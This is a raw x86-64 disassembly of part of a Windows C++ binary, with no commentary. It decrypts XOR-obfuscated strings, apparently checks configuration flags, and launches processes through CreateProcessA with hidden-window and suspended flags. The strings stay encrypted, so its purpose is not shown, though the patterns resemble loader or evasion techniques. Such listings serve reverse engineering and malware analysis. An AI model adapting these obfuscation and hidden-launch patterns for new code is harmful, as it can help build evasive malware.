mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x58]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14000ea53
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ea4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ea4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14000ea91
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ea8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ea8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400ba2e0]
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x948
mov eax, dword [rcx + rdi]
mov ebx, 0x7f0
add rbx, rdi
test al, 1
jne 0x14000eafc
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x2f0]
cmp rbx, rcx
ja 0x14000eae8
lea rcx, [rbp + 0x2e0]
cmp rax, rcx
jb 0x14000eae8
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x13
jmp 0x14000eaef
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x13
lea rcx, [0x1400a8f40]
call fcn.140093de0
nop
cmp byte [rbx + 0x11], 0
je 0x14000eb49
xor byte [rbx], 0x13
xor byte [rbx + 1], 0xfb
xor byte [rbx + 2], 0x43
xor byte [rbx + 3], 0xe9
xor byte [rbx + 4], 0xb3
xor byte [rbx + 5], 0x2b
xor byte [rbx + 6], 0x2f
xor byte [rbx + 7], 0xa1
xor byte [rbx + 8], 0x13
xor byte [rbx + 9], 0xfb
xor byte [rbx + 0xa], 0x43
xor byte [rbx + 0xb], 0xe9
xor byte [rbx + 0xc], 0xb3
xor byte [rbx + 0xd], 0x2b
xor byte [rbx + 0xe], 0x2f
xor byte [rbx + 0xf], 0xa1
xor byte [rbx + 0x10], 0x13
mov byte [rbx + 0x11], 0
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000eb50
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400084a0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x374], xmm0
movups xmmword [rbp + 0x384], xmm0
movups xmmword [rbp + 0x394], xmm0
movups xmmword [rbp + 0x3a4], xmm0
movups xmmword [rbp + 0x3b4], xmm0
movups xmmword [rbp + 0x3c4], xmm0
mov dword [rbp + 0x3d4], eax
mov dword [rbp + 0x370], 0x68
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x304], xmm1
movups xmmword [rbp + 0x314], xmm1
movups xmmword [rbp + 0x324], xmm1
movups xmmword [rbp + 0x334], xmm1
movups xmmword [rbp + 0x344], xmm1
movups xmmword [rbp + 0x354], xmm1
mov dword [rbp + 0x364], eax
mov dword [rbp + 0x300], 0x68
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rax
movdqa xmm0, xmmword [0x1400ba980]
mov dword [rbp + 0x188], 0xbc915a46
mov dword [rbp + 0x18c], 0x939132d5
mov ecx, 0x740
mov eax, dword [rcx + rdi]
mov edx, 0x8b8
test al, 1
jne 0x14000ec89
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x18], 1
lea rax, [rbx + 0x17]
lea rcx, [rbp + 0x18f]
cmp rbx, rcx
ja 0x14000ec6a
lea rcx, [rbp + 0x178]
cmp rax, rcx
jb 0x14000ec6a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x188]
movsd qword [rbx + 0x10], xmm0
jmp 0x14000ec7a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x188]
movsd qword [rbx + 0x10], xmm0
lea rcx, [0x1400a8f20]
call fcn.140093de0
nop
jmp 0x14000ec8d
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x18], 0
je 0x14000ecf3
xor byte [rbx], 0x27
xor byte [rbx + 1], 0x2f
not byte [rbx + 2]
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0xbd
xor byte [rbx + 5], 0x57
xor byte [rbx + 6], 0xe3
xor byte [rbx + 7], 0x93
xor byte [rbx + 8], 0x27
xor byte [rbx + 9], 0x2f
not byte [rbx + 0xa]
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0xbd
xor byte [rbx + 0xd], 0x57
xor byte [rbx + 0xe], 0xe3
xor byte [rbx + 0xf], 0x93
xor byte [rbx + 0x10], 0x27
xor byte [rbx + 0x11], 0x2f
not byte [rbx + 0x12]
xor byte [rbx + 0x13], 0xdf
xor byte [rbx + 0x14], 0xbd
xor byte [rbx + 0x15], 0x57
xor byte [rbx + 0x16], 0xe3
xor byte [rbx + 0x17], 0x93
mov byte [rbx + 0x18], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ed05
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.140009a30
nop
lea rdx, [rbp + 0x10]
mov r14, qword [rsp + 0x50]
mov rcx, r14
call fcn.140006f90
cmp byte [rax], 4
jne 0x14000ff6d
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14000ed75
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ed70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f432
call fcn.140093d04
test bl, bl
je 0x14000efc0
movdqa xmm0, xmmword [0x1400b98a0]
movdqa xmm1, xmmword [0x1400b9950]
movdqa xmm2, xmmword [0x1400b9aa0]
mov word [rbp + 0x2a8], 0xd538
mov ecx, 0x84c
mov eax, dword [rcx + rdi]
mov edx, 0x760
test al, 1
jne 0x14000ee16
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x32], 1
lea rax, [rbx + 0x31]
lea rcx, [rbp + 0x2a9]
cmp rbx, rcx
ja 0x14000edf1
lea rcx, [rbp + 0x278]
cmp rax, rcx
jb 0x14000edf1
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rbp + 0x2a8]
mov word [rbx + 0x30], ax
jmp 0x14000ee07
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rbp + 0x2a8]
mov word [rbx + 0x30], ax
lea rcx, [0x1400a8ef0]
call fcn.140093de0
nop
jmp 0x14000ee1a
lea rbx, [rdi + rdx]
mov rcx, rbx
call fcn.140010460
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ee34
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140009a30
nop
lea r8, [rbp + 0xe0]
cmp r13, 0x10
cmovae r8, qword [rbp + 0xe0]
mov r9, r15
xor edx, edx
lea rcx, [rbp - 0x10]
call fcn.14000ac40
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x168], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x168], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0x10
cmovae rdx, qword [rbp + 0x158]
lea rax, [rbp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x14000ef3f
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ef3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b8b70]
movdqu xmmword [rbp + 0x168], xmm0
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000ef94
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ef8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test ebx, ebx
je 0x14000efb2
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rbp + 0xf0]
mov r13, qword [rbp + 0xf8]
movdqa xmm0, xmmword [0x1400b8f40]
mov word [rbp + 0x1e8], 0xaadc
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x80c
mov eax, dword [rdx + rcx]
mov ebx, 0x748
add rbx, rcx
test al, 1
jne 0x14000f04a
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rbp + 0x1ea]
cmp rbx, rcx
ja 0x14000f02b
lea rcx, [rbp + 0x1d8]
cmp rax, rcx
jb 0x14000f02b
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1e8]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x5f
jmp 0x14000f03d
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1e8]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x5f
lea rcx, [0x1400a8ec0]
call fcn.140093de0
nop
cmp byte [rbx + 0x13], 0
je 0x14000f09f
xor byte [rbx], 0xbd
xor byte [rbx + 1], 0xc9
xor byte [rbx + 2], 0x5f
xor byte [rbx + 3], 0x7b
xor byte [rbx + 4], 0xcd
xor byte [rbx + 5], 0x1d
xor byte [rbx + 6], 0xad
xor byte [rbx + 7], 0x7f
xor byte [rbx + 8], 0xbd
xor byte [rbx + 9], 0xc9
xor byte [rbx + 0xa], 0x5f
xor byte [rbx + 0xb], 0x7b
xor byte [rbx + 0xc], 0xcd
xor byte [rbx + 0xd], 0x1d
xor byte [rbx + 0xe], 0xad
xor byte [rbx + 0xf], 0x7f
xor byte [rbx + 0x10], 0xbd
xor byte [rbx + 0x11], 0xc9
xor byte [rbx + 0x12], 0x5f
mov byte [rbx + 0x13], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000f0b1
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140009a30
nop
lea rdx, [rbp - 0x10]
mov rcx, r14
call fcn.140006f90
cmp byte [rax], 4
jne 0x14000ffab
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000f11c
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f117
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f432
call fcn.140093d04
test bl, bl
je 0x14000f2e9
call fcn.140010100
mov r9, rax
cmp byte [rax + 0x43], 0
je 0x14000f161
mov rdx, r12
movabs r8, 0x7393dc74711e7eb
nop
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x43
jb 0x14000f140
mov byte [r9 + 0x43], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov r8, rsi
inc r8
cmp byte [r9 + r8], 0
jne 0x14000f173
mov rdx, r9
lea rcx, [rbp - 0x30]
call fcn.140009a30
nop
lea r8, [rbp + 0xe0]
cmp r13, 0x10
cmovae r8, qword [rbp + 0xe0]
mov r9, r15
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.14000ac40
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
lea rax, [rbp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000f26c
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f267
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f267
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b8b70]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000f2bd
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f2b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f2b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test ebx, ebx
je 0x14000f2db
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rbp + 0xf0]
mov r13, qword [rbp + 0xf8]
movdqa xmm0, xmmword [0x1400b9010]
mov word [rbp + 0x1d0], 0x9154
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x5c4
mov eax, dword [rdx + rcx]
mov ebx, 0x640
add rbx, rcx
test al, 1
jne 0x14000f36b
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rbp + 0x1d1]
cmp rbx, rcx
ja 0x14000f350
lea rcx, [rbp + 0x1c0]
cmp rax, rcx
jb 0x14000f350
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1d0]
mov word [rbx + 0x10], ax
jmp 0x14000f35e
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1d0]
mov word [rbx + 0x10], ax
lea rcx, [0x1400a8e70]
call fcn.140093de0
nop
cmp byte [rbx + 0x12], 0
je 0x14000f3bc
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x91
xor byte [rbx + 2], 0xf1
xor byte [rbx + 3], 0x9d
xor byte [rbx + 4], 0x49
xor byte [rbx + 5], 0x49
xor byte [rbx + 6], 0xbd
xor byte [rbx + 7], 0x7d
xor byte [rbx + 8], 0x31
xor byte [rbx + 9], 0x91
xor byte [rbx + 0xa], 0xf1
xor byte [rbx + 0xb], 0x9d
xor byte [rbx + 0xc], 0x49
xor byte [rbx + 0xd], 0x49
xor byte [rbx + 0xe], 0xbd
xor byte [rbx + 0xf], 0x7d
xor byte [rbx + 0x10], 0x31
xor byte [rbx + 0x11], 0x91
mov byte [rbx + 0x12], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14000f3d0
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.140009a30
nop
lea rdx, [rbp - 0x30]
mov rcx, r14
call fcn.140006f90
cmp byte [rax], 4
jne 0x14000fede
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000f43e
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f439
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f439
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test bl, bl
je 0x14000f5c9
call fcn.1400101f0
mov rcx, rax
call fcn.140010340
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000f465
mov rdx, rcx
lea rcx, [rbp + 0x30]
call fcn.140009a30
nop
lea r8, [rbp + 0xe0]
cmp r13, 0x10
cmovae r8, qword [rbp + 0xe0]
mov r9, r15
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.14000ac40
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
lea rax, [rbp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14000f555
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f550
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f550
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b8b70]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14000f5a4
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f59f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f59f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test ebx, ebx
je 0x14000f5c2
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rbp + 0xf8]
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x370]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000f9bf
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r14, qword [rsp + 0x78]
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14000f642
mov rdx, qword [r14]
mov ecx, dword [rbp + 0xb0]
call fcn.140020870
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1400b9060]
mov dword [rbp + 0x1a0], 0xe3877319
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x620
mov eax, dword [rcx + rdi]
mov ebx, 0x6d0
add rbx, rdi
test al, 1
jne 0x14000f6db
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x15], 1
lea rax, [rbx + 0x14]
lea rcx, [rbp + 0x1a4]
cmp rbx, rcx
ja 0x14000f6be
lea rcx, [rbp + 0x190]
cmp rax, rcx
jb 0x14000f6be
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x1a0]
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], 0xb3
jmp 0x14000f6ce
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x1a0]
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], 0xb3
lea rcx, [0x1400a8e20]
call fcn.140093de0
nop
cmp byte [rbx + 0x15], 0
je 0x14000f738
xor byte [rbx], 0x37
xor byte [rbx + 1], 0x17
xor byte [rbx + 2], 0xeb
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0xb3
xor byte [rbx + 5], 0x3f
xor byte [rbx + 6], 0xc1
xor byte [rbx + 7], 0x4d
xor byte [rbx + 8], 0x37
xor byte [rbx + 9], 0x17
xor byte [rbx + 0xa], 0xeb
xor byte [rbx + 0xb], 0x8f
xor byte [rbx + 0xc], 0xb3
xor byte [rbx + 0xd], 0x3f
xor byte [rbx + 0xe], 0xc1
xor byte [rbx + 0xf], 0x4d
xor byte [rbx + 0x10], 0x37
xor byte [rbx + 0x11], 0x17
xor byte [rbx + 0x12], 0xeb
xor byte [rbx + 0x13], 0x8f
xor byte [rbx + 0x14], 0xb3
mov byte [rbx + 0x15], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x1400de8b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009130
mov rsi, rax
movdqa xmm0, xmmword [0x1400ba840]
mov dword [rbp + 0x110], 0x7ccb4e5e
mov dword [rbp + 0x114], 0xbb138acf
mov dword [rbp + 0x118], 0x1fcb545a
mov ecx, 0x930
mov eax, dword [rcx + rdi]
mov edx, 0x7b0
test al, 1
jne 0x14000f827
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1c], 1
lea rax, [rbx + 0x1b]
lea rcx, [rbp + 0x11b]
cmp rbx, rcx
ja 0x14000f7ff
lea rcx, [rbp + 0x100]
cmp rax, rcx
jb 0x14000f7ff
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x110]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x118]
mov dword [rbx + 0x18], eax
jmp 0x14000f818
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x110]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x118]
mov dword [rbx + 0x18], eax
lea rcx, [0x1400a8df0]
call fcn.140093de0
nop
jmp 0x14000f82b
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1c], 0
je 0x14000f8a4
xor byte [rbx], 0x3f
xor byte [rbx + 1], 0x3b
xor byte [rbx + 2], 0xa5
xor byte [rbx + 3], 0x1f
xor byte [rbx + 4], 0xa7
xor byte [rbx + 5], 0xef
xor byte [rbx + 6], 0x77
xor byte [rbx + 7], 0x9b
xor byte [rbx + 8], 0x3f
xor byte [rbx + 9], 0x3b
xor byte [rbx + 0xa], 0xa5
xor byte [rbx + 0xb], 0x1f
xor byte [rbx + 0xc], 0xa7
xor byte [rbx + 0xd], 0xef
xor byte [rbx + 0xe], 0x77
xor byte [rbx + 0xf], 0x9b
xor byte [rbx + 0x10], 0x3f
xor byte [rbx + 0x11], 0x3b
xor byte [rbx + 0x12], 0xa5
xor byte [rbx + 0x13], 0x1f
xor byte [rbx + 0x14], 0xa7
xor byte [rbx + 0x15], 0xef
xor byte [rbx + 0x16], 0x77
xor byte [rbx + 0x17], 0x9b
xor byte [rbx + 0x18], 0x3f
xor byte [rbx + 0x19], 0x3b
xor byte [rbx + 0x1a], 0xa5
xor byte [rbx + 0x1b], 0x1f
mov byte [rbx + 0x1c], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
mov rdx, qword [0x1400de8c0]
mov rcx, rax
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14000f913
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f90e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f90e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
cmp r13, 0x10
jb 0x14000f96b
lea rdx, [r13 + 1]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f965
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f965
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x14000f9a1
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x14000f99c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f9b8
mov rcx, r8
call fcn.140093d04
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
xor eax, eax
jmp 0x14000feb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x158]
call fcn.140021a00
nop
lea rax, [rsp + 0x58]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor eax, eax
mov qword [rsp + 0x60], rax
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
